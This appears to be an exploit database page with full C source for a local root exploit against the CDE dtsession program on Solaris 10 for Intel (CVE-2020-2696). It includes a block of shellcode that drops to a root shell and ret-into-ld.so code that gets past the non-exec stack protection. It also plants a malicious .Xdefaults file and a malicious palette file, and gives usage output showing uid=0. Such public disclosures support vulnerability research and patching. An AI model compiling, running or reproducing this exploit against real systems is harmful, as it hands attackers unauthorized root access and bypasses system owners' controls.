1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 |
# Exploit: SunOS 5.10 Generic_147148-26 - Local Privilege Escalation # Date: 2020-01-15 # Author: Marco Ivaldi # Vendor: www.oracle.com # Software Link: https://www.oracle.com/technetwork/server-storage/solaris10/downloads/latest-release/index.html # CVE: CVE-2020-2696 /* * raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * A buffer overflow in the CheckMonitor() function in the Common Desktop * Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with * Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain * root privileges via a long palette name passed to dtsession in a malicious * .Xdefaults file (CVE-2020-2696). * * "I always loved Sun because it was so easy to own. Now with Solaris 11 I * don't like it anymore." -- ~B. * * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory * space, try returning to sprintf() instead of strcpy(). * * I haven't written a Solaris/SPARC version because I don't have a SPARC box * on which Solaris 10 can run. If anybody is kind enough to give me access to * such a box, I'd be happy to port my exploit to Solaris/SPARC as well. * * Usage: * $ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall * [on your xserver: disable the access control] * $ ./raptor_dtsession_ipa 192.168.1.1:0 * [...] * # id * uid=0(root) gid=1(other) * # * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also likely vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #include <sys/types.h> #define INFO1 "raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel" #define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtsession" // the vulnerable program #define BUFSIZE 256 // size of the palette name #define PADDING 3 // padding in the palette name #define PAYSIZE 1024 // size of the payload #define OFFSET env_len / 2 // offset to the shellcode char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], payload[PAYSIZE]; char platform[256], release[256], display[256]; int i, payaddr; char *arg[2] = {"foo", NULL}; int sb = ((int)argv[0] | 0xfff); /* stack base */ int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* rwx memory */ FILE *fp; char palette_file[BUFSIZE + 18]; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */ memset(payload, '\x90', PAYSIZE); payload[PAYSIZE - 1] = 0x0; memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc)); /* fill the envp, keeping padding */ add_env(payload); add_env(display); add_env("HOME=/tmp"); add_env(NULL); /* calculate the payload address */ payaddr = sb - OFFSET; /* prepare the evil palette name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with function address in ld.so.1, saved eip, and arguments */ for (i = PADDING; i < BUFSIZE - 16; i += 4) { set_val(buf, i, ret); /* strcpy */ set_val(buf, i += 4, rwx_mem); /* saved eip */ set_val(buf, i += 4, rwx_mem); /* 1st argument */ set_val(buf, i += 4, payaddr); /* 2nd argument */ } /* prepare the evil .Xdefaults file */ fp = fopen("/tmp/.Xdefaults", "w"); if (!fp) { perror("error creating .Xdefaults file"); exit(1); } fprintf(fp, "*0*ColorPalette: %s\n", buf); // or *0*MonochromePalette fclose(fp); /* prepare the evil palette file (badchars currently not handled) */ mkdir("/tmp/.dt", 0755); mkdir("/tmp/.dt/palettes", 0755); sprintf(palette_file, "/tmp/.dt/palettes/%s", buf); fp = fopen(palette_file, "w"); if (!fp) { perror("error creating palette file"); exit(1); } fprintf(fp, "Black\n"); fclose(fp); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer (little endian) */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24; } |